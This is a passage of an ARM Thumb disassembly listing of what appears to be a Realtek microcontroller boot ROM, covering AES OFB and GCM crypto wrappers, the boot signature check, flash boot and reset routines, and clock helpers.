#5 1010400e: e7fa b.n 10104006 <rtl_crypto_aes_ofb_encrypt+0x2a> 10104010: f06f 0003 mvn.w r0, #3 10104014: e7f7 b.n 10104006 <rtl_crypto_aes_ofb_encrypt+0x2a> 10104016: bf00 nop 10104018: 100003a0 .word 0x100003a0 1010401c: 101057b9 .word 0x101057b9 10104020 <rtl_crypto_aes_ofb_decrypt>: 10104020: b570 push {r4, r5, r6, lr} 10104022: b086 sub sp, #24 10104024: 9e0a ldr r6, [sp, #40] ; 0x28 10104026: b1aa cbz r2, 10104054 <rtl_crypto_aes_ofb_decrypt+0x34> 10104028: f012 0503 ands.w r5, r2, #3 1010402c: d10f bne.n 1010404e <rtl_crypto_aes_ofb_decrypt+0x2e> 1010402e: b188 cbz r0, 10104054 <rtl_crypto_aes_ofb_decrypt+0x34> 10104030: b186 cbz r6, 10104054 <rtl_crypto_aes_ofb_decrypt+0x34> 10104032: 4614 mov r4, r2 10104034: e88d 0028 stmia.w sp, {r3, r5} 10104038: 460a mov r2, r1 1010403a: 4623 mov r3, r4 1010403c: 4601 mov r1, r0 1010403e: 9504 str r5, [sp, #16] 10104040: 9603 str r6, [sp, #12] 10104042: 9502 str r5, [sp, #8] 10104044: 4805 ldr r0, [pc, #20] ; (1010405c <rtl_crypto_aes_ofb_decrypt+0x3c>) 10104046: 4c06 ldr r4, [pc, #24] ; (10104060 <rtl_crypto_aes_ofb_decrypt+0x40>) 10104048: 47a0 blx r4 1010404a: b006 add sp, #24 1010404c: bd70 pop {r4, r5, r6, pc} 1010404e: f06f 0005 mvn.w r0, #5 10104052: e7fa b.n 1010404a <rtl_crypto_aes_ofb_decrypt+0x2a> 10104054: f06f 0003 mvn.w r0, #3 10104058: e7f7 b.n 1010404a <rtl_crypto_aes_ofb_decrypt+0x2a> 1010405a: bf00 nop 1010405c: 100003a0 .word 0x100003a0 10104060: 101057e9 .word 0x101057e9 10104064 <rtl_crypto_aes_gcm_init>: 10104064: b570 push {r4, r5, r6, lr} 10104066: 4b11 ldr r3, [pc, #68] ; (101040ac <rtl_crypto_aes_gcm_init+0x48>) 10104068: 781b ldrb r3, [r3, #0] 1010406a: 2b01 cmp r3, #1 1010406c: 4604 mov r4, r0 1010406e: 460d mov r5, r1 10104070: d004 beq.n 1010407c <rtl_crypto_aes_gcm_init+0x18> 10104072: f44f 71c7 mov.w r1, #398 ; 0x18e 10104076: 480e ldr r0, [pc, #56] ; (101040b0 <rtl_crypto_aes_gcm_init+0x4c>) 10104078: f7fc fbfa bl 10100870 <io_assert_failed> 1010407c: b194 cbz r4, 101040a4 <rtl_crypto_aes_gcm_init+0x40> 1010407e: 07a3 lsls r3, r4, #30 10104080: d10d bne.n 1010409e <rtl_crypto_aes_gcm_init+0x3a> 10104082: 2d20 cmp r5, #32 10104084: d808 bhi.n 10104098 <rtl_crypto_aes_gcm_init+0x34> 10104086: 4622 mov r2, r4 10104088: 4c0a ldr r4, [pc, #40] ; (101040b4 <rtl_crypto_aes_gcm_init+0x50>) 1010408a: 462b mov r3, r5 1010408c: 46a4 mov ip, r4 1010408e: 2128 movs r1, #40 ; 0x28 10104090: 4806 ldr r0, [pc, #24] ; (101040ac <rtl_crypto_aes_gcm_init+0x48>) 10104092: e8bd 4070 ldmia.w sp!, {r4, r5, r6, lr} 10104096: 4760 bx ip 10104098: f06f 0006 mvn.w r0, #6 1010409c: bd70 pop {r4, r5, r6, pc} 1010409e: f06f 0005 mvn.w r0, #5 101040a2: bd70 pop {r4, r5, r6, pc} 101040a4: f06f 0003 mvn.w r0, #3 101040a8: bd70 pop {r4, r5, r6, pc} 101040aa: bf00 nop 101040ac: 100003a0 .word 0x100003a0 101040b0: 101d5244 .word 0x101d5244 101040b4: 10105799 .word 0x10105799 101040b8 <rtl_crypto_aes_gcm_encrypt>: 101040b8: e92d 43f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, lr} 101040bc: b087 sub sp, #28 101040be: ae0f add r6, sp, #60 ; 0x3c 101040c0: cec0 ldmia r6, {r6, r7} 101040c2: b33a cbz r2, 10104114 <rtl_crypto_aes_gcm_encrypt+0x5c> 101040c4: 0795 lsls r5, r2, #30 101040c6: d122 bne.n 1010410e <rtl_crypto_aes_gcm_encrypt+0x56> 101040c8: b320 cbz r0, 10104114 <rtl_crypto_aes_gcm_encrypt+0x5c> 101040ca: 079c lsls r4, r3, #30 101040cc: d11f bne.n 1010410e <rtl_crypto_aes_gcm_encrypt+0x56> 101040ce: b30e cbz r6, 10104114 <rtl_crypto_aes_gcm_encrypt+0x5c> 101040d0: b307 cbz r7, 10104114 <rtl_crypto_aes_gcm_encrypt+0x5c> 101040d2: 4604 mov r4, r0 101040d4: 4689 mov r9, r1 101040d6: f8df 8054 ldr.w r8, [pc, #84] ; 1010412c <rtl_crypto_aes_gcm_encrypt+0x74> 101040da: 4611 mov r1, r2 101040dc: 480f ldr r0, [pc, #60] ; (1010411c <rtl_crypto_aes_gcm_encrypt+0x64>) 101040de: 220c movs r2, #12 101040e0: 461d mov r5, r3 101040e2: 47c0 blx r8 101040e4: 2204 movs r2, #4 101040e6: 490e ldr r1, [pc, #56] ; (10104120 <rtl_crypto_aes_gcm_encrypt+0x68>) 101040e8: 480e ldr r0, [pc, #56] ; (10104124 <rtl_crypto_aes_gcm_encrypt+0x6c>) 101040ea: 47c0 blx r8 101040ec: 2010 movs r0, #16 101040ee: 9a0e ldr r2, [sp, #56] ; 0x38 101040f0: 4b0a ldr r3, [pc, #40] ; (1010411c <rtl_crypto_aes_gcm_encrypt+0x64>) 101040f2: 9202 str r2, [sp, #8] 101040f4: 4621 mov r1, r4 101040f6: 9000 str r0, [sp, #0] 101040f8: 9704 str r7, [sp, #16] 101040fa: 9603 str r6, [sp, #12] 101040fc: 9501 str r5, [sp, #4] 101040fe: 464a mov r2, r9 10104100: f1a3 00ec sub.w r0, r3, #236 ; 0xec 10104104: 4c08 ldr r4, [pc, #32] ; (10104128 <rtl_crypto_aes_gcm_encrypt+0x70>) 10104106: 47a0 blx r4 10104108: b007 add sp, #28 1010410a: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 1010410e: f06f 0005 mvn.w r0, #5 10104112: e7f9 b.n 10104108 <rtl_crypto_aes_gcm_encrypt+0x50> 10104114: f06f 0003 mvn.w r0, #3 10104118: e7f6 b.n 10104108 <rtl_crypto_aes_gcm_encrypt+0x50> 1010411a: bf00 nop 1010411c: 1000048c .word 0x1000048c 10104120: 101d4040 .word 0x101d4040 10104124: 10000498 .word 0x10000498 10104128: 101057b9 .word 0x101057b9 1010412c: 10106d15 .word 0x10106d15 10104130 <rtl_crypto_aes_gcm_decrypt>: 10104130: e92d 43f0 stmdb sp!, {r4, r5, r6, r7, r8, r9, lr} 10104134: b087 sub sp, #28 10104136: ae0f add r6, sp, #60 ; 0x3c 10104138: cec0 ldmia r6, {r6, r7} 1010413a: b33a cbz r2, 1010418c <rtl_crypto_aes_gcm_decrypt+0x5c> 1010413c: 0795 lsls r5, r2, #30 1010413e: d122 bne.n 10104186 <rtl_crypto_aes_gcm_decrypt+0x56> 10104140: b320 cbz r0, 1010418c <rtl_crypto_aes_gcm_decrypt+0x5c> 10104142: 079c lsls r4, r3, #30 10104144: d11f bne.n 10104186 <rtl_crypto_aes_gcm_decrypt+0x56> 10104146: b30e cbz r6, 1010418c <rtl_crypto_aes_gcm_decrypt+0x5c> 10104148: b307 cbz r7, 1010418c <rtl_crypto_aes_gcm_decrypt+0x5c> 1010414a: 4604 mov r4, r0 1010414c: 4689 mov r9, r1 1010414e: f8df 8054 ldr.w r8, [pc, #84] ; 101041a4 <rtl_crypto_aes_gcm_decrypt+0x74> 10104152: 4611 mov r1, r2 10104154: 480f ldr r0, [pc, #60] ; (10104194 <rtl_crypto_aes_gcm_decrypt+0x64>) 10104156: 220c movs r2, #12 10104158: 461d mov r5, r3 1010415a: 47c0 blx r8 1010415c: 2204 movs r2, #4 1010415e: 490e ldr r1, [pc, #56] ; (10104198 <rtl_crypto_aes_gcm_decrypt+0x68>) 10104160: 480e ldr r0, [pc, #56] ; (1010419c <rtl_crypto_aes_gcm_decrypt+0x6c>) 10104162: 47c0 blx r8 10104164: 2010 movs r0, #16 10104166: 9a0e ldr r2, [sp, #56] ; 0x38 10104168: 4b0a ldr r3, [pc, #40] ; (10104194 <rtl_crypto_aes_gcm_decrypt+0x64>) 1010416a: 9202 str r2, [sp, #8] 1010416c: 4621 mov r1, r4 1010416e: 9000 str r0, [sp, #0] 10104170: 9704 str r7, [sp, #16] 10104172: 9603 str r6, [sp, #12] 10104174: 9501 str r5, [sp, #4] 10104176: 464a mov r2, r9 10104178: f1a3 00ec sub.w r0, r3, #236 ; 0xec 1010417c: 4c08 ldr r4, [pc, #32] ; (101041a0 <rtl_crypto_aes_gcm_decrypt+0x70>) 1010417e: 47a0 blx r4 10104180: b007 add sp, #28 10104182: e8bd 83f0 ldmia.w sp!, {r4, r5, r6, r7, r8, r9, pc} 10104186: f06f 0005 mvn.w r0, #5 1010418a: e7f9 b.n 10104180 <rtl_crypto_aes_gcm_decrypt+0x50> 1010418c: f06f 0003 mvn.w r0, #3 10104190: e7f6 b.n 10104180 <rtl_crypto_aes_gcm_decrypt+0x50> 10104192: bf00 nop 10104194: 1000048c .word 0x1000048c 10104198: 101d4040 .word 0x101d4040 1010419c: 10000498 .word 0x10000498 101041a0: 101057e9 .word 0x101057e9 101041a4: 10106d15 .word 0x10106d15 101041a8 <BOOT_ROM_SignatureCheck>: 101041a8: 4a2a ldr r2, [pc, #168] ; (10104254 <BOOT_ROM_SignatureCheck+0xac>) 101041aa: 4b2b ldr r3, [pc, #172] ; (10104258 <BOOT_ROM_SignatureCheck+0xb0>) 101041ac: 6891 ldr r1, [r2, #8] 101041ae: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 101041b2: 482a ldr r0, [pc, #168] ; (1010425c <BOOT_ROM_SignatureCheck+0xb4>) 101041b4: 440b add r3, r1 101041b6: 689c ldr r4, [r3, #8] 101041b8: 6803 ldr r3, [r0, #0] 101041ba: 049d lsls r5, r3, #18 101041bc: b08a sub sp, #40 ; 0x28 101041be: 440c add r4, r1 101041c0: 6916 ldr r6, [r2, #16] 101041c2: d50a bpl.n 101041da <BOOT_ROM_SignatureCheck+0x32> 101041c4: 4b26 ldr r3, [pc, #152] ; (10104260 <BOOT_ROM_SignatureCheck+0xb8>) 101041c6: 681b ldr r3, [r3, #0] 101041c8: 0398 lsls r0, r3, #14 101041ca: d502 bpl.n 101041d2 <BOOT_ROM_SignatureCheck+0x2a> 101041cc: 4825 ldr r0, [pc, #148] ; (10104264 <BOOT_ROM_SignatureCheck+0xbc>) 101041ce: f7fc f911 bl 101003f4 <DiagPrintf> 101041d2: 2001 movs r0, #1 101041d4: b00a add sp, #40 ; 0x28 101041d6: e8bd 81f0 ldmia.w sp!, {r4, r5, r6, r7, r8, pc} 101041da: 1c71 adds r1, r6, #1 101041dc: d02c beq.n 10104238 <BOOT_ROM_SignatureCheck+0x90> 101041de: f44f 75d0 mov.w r5, #416 ; 0x1a0 101041e2: f8df 8098 ldr.w r8, [pc, #152] ; 1010427c <BOOT_ROM_SignatureCheck+0xd4> 101041e6: 3420 adds r4, #32 101041e8: af02 add r7, sp, #8 101041ea: f5a5 72d0 sub.w r2, r5, #416 ; 0x1a0 101041ee: 4629 mov r1, r5 101041f0: 443a add r2, r7 101041f2: 2307 movs r3, #7 101041f4: 2000 movs r0, #0 101041f6: 3501 adds r5, #1 101041f8: 47c0 blx r8 101041fa: f5b5 7fe0 cmp.w r5, #448 ; 0x1c0 101041fe: d1f4 bne.n 101041ea <BOOT_ROM_SignatureCheck+0x42> 10104200: 4b19 ldr r3, [pc, #100] ; (10104268 <BOOT_ROM_SignatureCheck+0xc0>) 10104202: 9700 str r7, [sp, #0] 10104204: 4622 mov r2, r4 10104206: f106 0030 add.w r0, r6, #48 ; 0x30 1010420a: 681c ldr r4, [r3, #0] 1010420c: 4912 ldr r1, [pc, #72] ; (10104258 <BOOT_ROM_SignatureCheck+0xb0>) 1010420e: 2300 movs r3, #0 10104210: 47a0 blx r4 10104212: b960 cbnz r0, 1010422e <BOOT_ROM_SignatureCheck+0x86> 10104214: 4b12 ldr r3, [pc, #72] ; (10104260 <BOOT_ROM_SignatureCheck+0xb8>) 10104216: 681b ldr r3, [r3, #0] 10104218: 039a lsls r2, r3, #14 1010421a: d502 bpl.n 10104222 <BOOT_ROM_SignatureCheck+0x7a> 1010421c: 4813 ldr r0, [pc, #76] ; (1010426c <BOOT_ROM_SignatureCheck+0xc4>) 1010421e: f7fc f8e9 bl 101003f4 <DiagPrintf> 10104222: 4a13 ldr r2, [pc, #76] ; (10104270 <BOOT_ROM_SignatureCheck+0xc8>) 10104224: 6813 ldr r3, [r2, #0] 10104226: f043 0301 orr.w r3, r3, #1 1010422a: 6013 str r3, [r2, #0] 1010422c: e7d1 b.n 101041d2 <BOOT_ROM_SignatureCheck+0x2a> 1010422e: 4a10 ldr r2, [pc, #64] ; (10104270 <BOOT_ROM_SignatureCheck+0xc8>) 10104230: 6813 ldr r3, [r2, #0] 10104232: f023 0301 bic.w r3, r3, #1 10104236: 6013 str r3, [r2, #0] 10104238: 4d09 ldr r5, [pc, #36] ; (10104260 <BOOT_ROM_SignatureCheck+0xb8>) 1010423a: 4c0e ldr r4, [pc, #56] ; (10104274 <BOOT_ROM_SignatureCheck+0xcc>) 1010423c: 4e0e ldr r6, [pc, #56] ; (10104278 <BOOT_ROM_SignatureCheck+0xd0>) 1010423e: f44f 707a mov.w r0, #1000 ; 0x3e8 10104242: 47a0 blx r4 10104244: 682b ldr r3, [r5, #0] 10104246: 039b lsls r3, r3, #14 10104248: d5f9 bpl.n 1010423e <BOOT_ROM_SignatureCheck+0x96> 1010424a: 4630 mov r0, r6 1010424c: f7fc f8d2 bl 101003f4 <DiagPrintf> 10104250: e7f5 b.n 1010423e <BOOT_ROM_SignatureCheck+0x96> 10104252: bf00 nop 10104254: 08004000 .word 0x08004000 10104258: 08004020 .word 0x08004020 1010425c: 480003e0 .word 0x480003e0 10104260: 1000000c .word 0x1000000c 10104264: 101d45c0 .word 0x101d45c0 10104268: 101c0000 .word 0x101c0000 1010426c: 101d45d4 .word 0x101d45d4 10104270: 50000800 .word 0x50000800 10104274: 10100995 .word 0x10100995 10104278: 101d45e4 .word 0x101d45e4 1010427c: 10100a31 .word 0x10100a31 10104280 <BOOT_ROM_FromFlash>: 10104280: 4a34 ldr r2, [pc, #208] ; (10104354 <BOOT_ROM_FromFlash+0xd4>) 10104282: 6893 ldr r3, [r2, #8] 10104284: 1c58 adds r0, r3, #1 10104286: e92d 41f0 stmdb sp!, {r4, r5, r6, r7, r8, lr} 1010428a: d03d beq.n 10104308 <BOOT_ROM_FromFlash+0x88> 1010428c: 68d2 ldr r2, [r2, #12] 1010428e: 3201 adds r2, #1 10104290: 4c31 ldr r4, [pc, #196] ; (10104358 <BOOT_ROM_FromFlash+0xd8>) 10104292: d047 beq.n 10104324 <BOOT_ROM_FromFlash+0xa4> 10104294: 4e31 ldr r6, [pc, #196] ; (1010435c <BOOT_ROM_FromFlash+0xdc>) 10104296: 6822 ldr r2, [r4, #0] 10104298: 441e add r6, r3 1010429a: 0392 lsls r2, r2, #14 1010429c: f8d6 8008 ldr.w r8, [r6, #8] 101042a0: 68f7 ldr r7, [r6, #12] 101042a2: d450 bmi.n 10104346 <BOOT_ROM_FromFlash+0xc6> 101042a4: 4d2e ldr r5, [pc, #184] ; (10104360 <BOOT_ROM_FromFlash+0xe0>) 101042a6: 4b2f ldr r3, [pc, #188] ; (10104364 <BOOT_ROM_FromFlash+0xe4>) 101042a8: 4642 mov r2, r8 101042aa: f106 0120 add.w r1, r6, #32 101042ae: 4638 mov r0, r7 101042b0: 4798 blx r3 101042b2: f895 3020 ldrb.w r3, [r5, #32] 101042b6: 2b23 cmp r3, #35 ; 0x23 101042b8: d113 bne.n 101042e2 <BOOT_ROM_FromFlash+0x62> 101042ba: 2379 movs r3, #121 ; 0x79 101042bc: 492a ldr r1, [pc, #168] ; (10104368 <BOOT_ROM_FromFlash+0xe8>) 101042be: f105 0220 add.w r2, r5, #32 101042c2: f812 0f01 ldrb.w r0, [r2, #1]! 101042c6: 4298 cmp r0, r3 101042c8: d10b bne.n 101042e2 <BOOT_ROM_FromFlash+0x62> 101042ca: f811 3f01 ldrb.w r3, [r1, #1]! 101042ce: 2bff cmp r3, #255 ; 0xff 101042d0: d1f7 bne.n 101042c2 <BOOT_ROM_FromFlash+0x42> 101042d2: 6823 ldr r3, [r4, #0] 101042d4: 039b lsls r3, r3, #14 101042d6: d430 bmi.n 1010433a <BOOT_ROM_FromFlash+0xba> 101042d8: 696b ldr r3, [r5, #20] 101042da: b363 cbz r3, 10104336 <BOOT_ROM_FromFlash+0xb6> 101042dc: e8bd 41f0 ldmia.w sp!, {r4, r5, r6, r7, r8, lr} 101042e0: 4718 bx r3 101042e2: 6823 ldr r3, [r4, #0] 101042e4: f413 3300 ands.w r3, r3, #131072 ; 0x20000 101042e8: d11e bne.n 10104328 <BOOT_ROM_FromFlash+0xa8> 101042ea: 4d20 ldr r5, [pc, #128] ; (1010436c <BOOT_ROM_FromFlash+0xec>) 101042ec: 4f20 ldr r7, [pc, #128] ; (10104370 <BOOT_ROM_FromFlash+0xf0>) 101042ee: 4e21 ldr r6, [pc, #132] ; (10104374 <BOOT_ROM_FromFlash+0xf4>) 101042f0: b933 cbnz r3, 10104300 <BOOT_ROM_FromFlash+0x80> 101042f2: 4630 mov r0, r6 101042f4: 47a8 blx r5 101042f6: 6823 ldr r3, [r4, #0] 101042f8: f403 3300 and.w r3, r3, #131072 ; 0x20000 101042fc: 2b00 cmp r3, #0 101042fe: d0f8 beq.n 101042f2 <BOOT_ROM_FromFlash+0x72> 10104300: 4638 mov r0, r7 10104302: f7fc f877 bl 101003f4 <DiagPrintf> 10104306: e7f4 b.n 101042f2 <BOOT_ROM_FromFlash+0x72> 10104308: 4c13 ldr r4, [pc, #76] ; (10104358 <BOOT_ROM_FromFlash+0xd8>) 1010430a: 4d18 ldr r5, [pc, #96] ; (1010436c <BOOT_ROM_FromFlash+0xec>) 1010430c: 4f1a ldr r7, [pc, #104] ; (10104378 <BOOT_ROM_FromFlash+0xf8>) 1010430e: 4e19 ldr r6, [pc, #100] ; (10104374 <BOOT_ROM_FromFlash+0xf4>) 10104310: e001 b.n 10104316 <BOOT_ROM_FromFlash+0x96> 10104312: 4630 mov r0, r6 10104314: 47a8 blx r5 10104316: 6823 ldr r3, [r4, #0] 10104318: 0399 lsls r1, r3, #14 1010431a: d5fa bpl.n 10104312 <BOOT_ROM_FromFlash+0x92> 1010431c: 4638 mov r0, r7 1010431e: f7fc f869 bl 101003f4 <DiagPrintf> 10104322: e7f6 b.n 10104312 <BOOT_ROM_FromFlash+0x92> 10104324: 4d11 ldr r5, [pc, #68] ; (1010436c <BOOT_ROM_FromFlash+0xec>) 10104326: e7f1 b.n 1010430c <BOOT_ROM_FromFlash+0x8c> 10104328: 4814 ldr r0, [pc, #80] ; (1010437c <BOOT_ROM_FromFlash+0xfc>) 1010432a: f7fc f863 bl 101003f4 <DiagPrintf> 1010432e: 6823 ldr r3, [r4, #0] 10104330: f403 3300 and.w r3, r3, #131072 ; 0x20000 10104334: e7d9 b.n 101042ea <BOOT_ROM_FromFlash+0x6a> 10104336: 682b ldr r3, [r5, #0] 10104338: e7d0 b.n 101042dc <BOOT_ROM_FromFlash+0x5c> 1010433a: 682a ldr r2, [r5, #0] 1010433c: 6969 ldr r1, [r5, #20] 1010433e: 4810 ldr r0, [pc, #64] ; (10104380 <BOOT_ROM_FromFlash+0x100>) 10104340: f7fc f858 bl 101003f4 <DiagPrintf> 10104344: e7c8 b.n 101042d8 <BOOT_ROM_FromFlash+0x58> 10104346: 4b0f ldr r3, [pc, #60] ; (10104384 <BOOT_ROM_FromFlash+0x104>) 10104348: 463a mov r2, r7 1010434a: 4641 mov r1, r8 1010434c: 480e ldr r0, [pc, #56] ; (10104388 <BOOT_ROM_FromFlash+0x108>) 1010434e: f7fc f851 bl 101003f4 <DiagPrintf> 10104352: e7a7 b.n 101042a4 <BOOT_ROM_FromFlash+0x24> 10104354: 08004000 .word 0x08004000 10104358: 1000000c .word 0x1000000c 1010435c: 08004020 .word 0x08004020 10104360: 1007d000 .word 0x1007d000 10104364: 10106d15 .word 0x10106d15 10104368: 101d4045 .word 0x101d4045 1010436c: 10100995 .word 0x10100995 10104370: 101d464c .word 0x101d464c 10104374: 000186a0 .word 0x000186a0 10104378: 101d45f8 .word 0x101d45f8 1010437c: 101d4628 .word 0x101d4628 10104380: 101d4688 .word 0x101d4688 10104384: 1007d020 .word 0x1007d020 10104388: 101d4610 .word 0x101d4610 1010438c <BOOT_ROM_InitDebugFlg>: 1010438c: 4b04 ldr r3, [pc, #16] ; (101043a0 <BOOT_ROM_InitDebugFlg+0x14>) 1010438e: 681b ldr r3, [r3, #0] 10104390: 02db lsls r3, r3, #11 10104392: d403 bmi.n 1010439c <BOOT_ROM_InitDebugFlg+0x10> 10104394: f04f 32ff mov.w r2, #4294967295 10104398: 4b02 ldr r3, [pc, #8] ; (101043a4 <BOOT_ROM_InitDebugFlg+0x18>) 1010439a: 601a str r2, [r3, #0] 1010439c: 4770 bx lr 1010439e: bf00 nop 101043a0: 4800022c .word 0x4800022c 101043a4: 1000000c .word 0x1000000c 101043a8 <BOOT_ROM_ResetVsr>: 101043a8: 4b39 ldr r3, [pc, #228] ; (10104490 <BOOT_ROM_ResetVsr+0xe8>) 101043aa: 681b ldr r3, [r3, #0] 101043ac: b570 push {r4, r5, r6, lr} 101043ae: 4a39 ldr r2, [pc, #228] ; (10104494 <BOOT_ROM_ResetVsr+0xec>) 101043b0: 4c39 ldr r4, [pc, #228] ; (10104498 <BOOT_ROM_ResetVsr+0xf0>) 101043b2: 01dd lsls r5, r3, #7 101043b4: eba4 0402 sub.w r4, r4, r2 101043b8: d465 bmi.n 10104486 <BOOT_ROM_ResetVsr+0xde> 101043ba: 4622 mov r2, r4 101043bc: 2100 movs r1, #0 101043be: 4c37 ldr r4, [pc, #220] ; (1010449c <BOOT_ROM_ResetVsr+0xf4>) 101043c0: 4834 ldr r0, [pc, #208] ; (10104494 <BOOT_ROM_ResetVsr+0xec>) 101043c2: 47a0 blx r4 101043c4: 4836 ldr r0, [pc, #216] ; (101044a0 <BOOT_ROM_ResetVsr+0xf8>) 101043c6: 4a37 ldr r2, [pc, #220] ; (101044a4 <BOOT_ROM_ResetVsr+0xfc>) 101043c8: 2100 movs r1, #0 101043ca: 1a12 subs r2, r2, r0 101043cc: 47a0 blx r4 101043ce: 4b36 ldr r3, [pc, #216] ; (101044a8 <BOOT_ROM_ResetVsr+0x100>) 101043d0: 685b ldr r3, [r3, #4] 101043d2: 4798 blx r3 101043d4: 4b35 ldr r3, [pc, #212] ; (101044ac <BOOT_ROM_ResetVsr+0x104>) 101043d6: 681b ldr r3, [r3, #0] 101043d8: 02d8 lsls r0, r3, #11 101043da: bf5b ittet pl 101043dc: f04f 33ff movpl.w r3, #4294967295 101043e0: 4c33 ldrpl r4, [pc, #204] ; (101044b0 <BOOT_ROM_ResetVsr+0x108>) 101043e2: 4c33 ldrmi r4, [pc, #204] ; (101044b0 <BOOT_ROM_ResetVsr+0x108>) 101043e4: 6023 strpl r3, [r4, #0] 101043e6: 4833 ldr r0, [pc, #204] ; (101044b4 <BOOT_ROM_ResetVsr+0x10c>) 101043e8: 4b33 ldr r3, [pc, #204] ; (101044b8 <BOOT_ROM_ResetVsr+0x110>) 101043ea: 4798 blx r3 101043ec: 6823 ldr r3, [r4, #0] 101043ee: 0399 lsls r1, r3, #14 101043f0: d443 bmi.n 1010447a <BOOT_ROM_ResetVsr+0xd2> 101043f2: f3bf 8f4f dsb sy 101043f6: f3bf 8f6f isb sy 101043fa: 2100 movs r1, #0 101043fc: 4b2f ldr r3, [pc, #188] ; (101044bc <BOOT_ROM_ResetVsr+0x114>) 101043fe: f8c3 1250 str.w r1, [r3, #592] ; 0x250 10104402: f3bf 8f4f dsb sy 10104406: f3bf 8f6f isb sy 1010440a: 695a ldr r2, [r3, #20] 1010440c: f442 3200 orr.w r2, r2, #131072 ; 0x20000 10104410: 615a str r2, [r3, #20] 10104412: f3bf 8f4f dsb sy 10104416: f3bf 8f6f isb sy 1010441a: f8c3 1084 str.w r1, [r3, #132] ; 0x84 1010441e: f3bf 8f4f dsb sy 10104422: f643 76e0 movw r6, #16352 ; 0x3fe0 10104426: 4619 mov r1, r3 10104428: f8d3 3080 ldr.w r3, [r3, #128] ; 0x80 1010442c: f3c3 354e ubfx r5, r3, #13, #15 10104430: f3c3 04c9 ubfx r4, r3, #3, #10 10104434: 4623 mov r3, r4 10104436: ea06 1045 and.w r0, r6, r5, lsl #5 1010443a: ea40 72c3 orr.w r2, r0, r3, lsl #31 1010443e: 3b01 subs r3, #1 10104440: f8c1 2260 str.w r2, [r1, #608] ; 0x260 10104444: 1c5a adds r2, r3, #1 10104446: d1f8 bne.n 1010443a <BOOT_ROM_ResetVsr+0x92> 10104448: f115 35ff adds.w r5, r5, #4294967295 1010444c: d2f2 bcs.n 10104434 <BOOT_ROM_ResetVsr+0x8c> 1010444e: f3bf 8f4f dsb sy 10104452: 694b ldr r3, [r1, #20] 10104454: f443 3380 orr.w r3, r3, #65536 ; 0x10000 10104458: 614b str r3, [r1, #20] 1010445a: f3bf 8f4f dsb sy 1010445e: f3bf 8f6f isb sy 10104462: 4a0b ldr r2, [pc, #44] ; (10104490 <BOOT_ROM_ResetVsr+0xe8>) 10104464: 6813 ldr r3, [r2, #0] 10104466: 0199 lsls r1, r3, #6 10104468: d5fc bpl.n 10104464 <BOOT_ROM_ResetVsr+0xbc> 1010446a: f023 7300 bic.w r3, r3, #33554432 ; 0x2000000 1010446e: 6013 str r3, [r2, #0] 10104470: f7ff fe9a bl 101041a8 <BOOT_ROM_SignatureCheck> 10104474: f7ff ff04 bl 10104280 <BOOT_ROM_FromFlash> 10104478: e7fe b.n 10104478 <BOOT_ROM_ResetVsr+0xd0> 1010447a: 2202 movs r2, #2 1010447c: 2101 movs r1, #1 1010447e: 4810 ldr r0, [pc, #64] ; (101044c0 <BOOT_ROM_ResetVsr+0x118>) 10104480: f7fb ffb8 bl 101003f4 <DiagPrintf> 10104484: e7b5 b.n 101043f2 <BOOT_ROM_ResetVsr+0x4a> 10104486: 4b0f ldr r3, [pc, #60] ; (101044c4 <BOOT_ROM_ResetVsr+0x11c>) 10104488: 689b ldr r3, [r3, #8] 1010448a: 4798 blx r3 1010448c: e795 b.n 101043ba <BOOT_ROM_ResetVsr+0x12> 1010448e: bf00 nop 10104490: 480003f8 .word 0x480003f8 10104494: 10000000 .word 0x10000000 10104498: 10000564 .word 0x10000564 1010449c: 10106e89 .word 0x10106e89 101044a0: 1007c000 .word 0x1007c000 101044a4: 1007c348 .word 0x1007c348 101044a8: 101c0000 .word 0x101c0000 101044ac: 4800022c .word 0x4800022c 101044b0: 1000000c .word 0x1000000c 101044b4: 1007effc .word 0x1007effc 101044b8: 1010677d .word 0x1010677d 101044bc: e000ed00 .word 0xe000ed00 101044c0: 101d469c .word 0x101d469c 101044c4: 1007d000 .word 0x1007d000 101044c8 <EXT32K_Cmd>: 101044c8: 4b06 ldr r3, [pc, #24] ; (101044e4 <EXT32K_Cmd+0x1c>) 101044ca: 681b ldr r3, [r3, #0] 101044cc: 2801 cmp r0, #1 101044ce: bf0c ite eq 101044d0: f443 5300 orreq.w r3, r3, #8192 ; 0x2000 101044d4: f423 5340 bicne.w r3, r3, #12288 ; 0x3000 101044d8: 4a02 ldr r2, [pc, #8] ; (101044e4 <EXT32K_Cmd+0x1c>) 101044da: f423 7380 bic.w r3, r3, #256 ; 0x100 101044de: 6013 str r3, [r2, #0] 101044e0: 4770 bx lr 101044e2: bf00 nop 101044e4: 48000004 .word 0x48000004 101044e8 <XTAL_ClkGet>: 101044e8: 4b03 ldr r3, [pc, #12] ; (101044f8 <XTAL_ClkGet+0x10>) 101044ea: 681b ldr r3, [r3, #0] 101044ec: 4a03 ldr r2, [pc, #12] ; (101044fc <XTAL_ClkGet+0x14>) 101044ee: f3c3 4303 ubfx r3, r3, #16, #4 101044f2: f852 0023 ldr.w r0, [r2, r3, lsl #2] 101044f6: 4770 bx lr 101044f8: 48000228 .word 0x48000228 101044fc: 101d528c .word 0x101d528c 10104500 <CPU_ClkSet>: 10104500: 4a03 ldr r2, [pc, #12] ; (10104510 <CPU_ClkSet+0x10>) 10104502: 6813 ldr r3, [r2, #0] 10104504: f023 6360 bic.w r3, r3, #234881024 ; 0xe000000 10104508: ea43 6040 orr.w r0, r3, r0, lsl #25 1010450c: 6010 str r0, [r2, #0] 1010450e: 4770 bx lr 10104510: 4800021c .word 0x4800021c 10104514 <CPU_ClkGet>: 10104514: 4b05 ldr r3, [pc, #20] ; (1010452c <CPU_ClkGet+0x18>) 10104516: 681b ldr r3, [r3, #0] 10104518: b108 cbz r0, 1010451e <CPU_ClkGet+0xa> 1010451a: 4805 ldr r0, [pc, #20] ; (10104530 <CPU_ClkGet+0x1c>) 1010451c: 4770 bx lr 1010451e: 4a05 ldr r2, [pc, #20] ; (10104534 <CPU_ClkGet+0x20>) 10104520: f3c3 6342 ubfx r3, r3, #25, #3 10104524: f852 0023 ldr.w r0, [r2, r3, lsl #2] 10104528: 4770 bx lr 1010452a: bf00 nop 1010452c: 4800021c .word 0x4800021c 10104530: 01312d00 .word 0x01312d00 10104534: 101d52cc .word 0x101d52cc 10104538 <CRYPTO_MemDump>: 10104538: 2800 cmp r0, #0 1010453a: 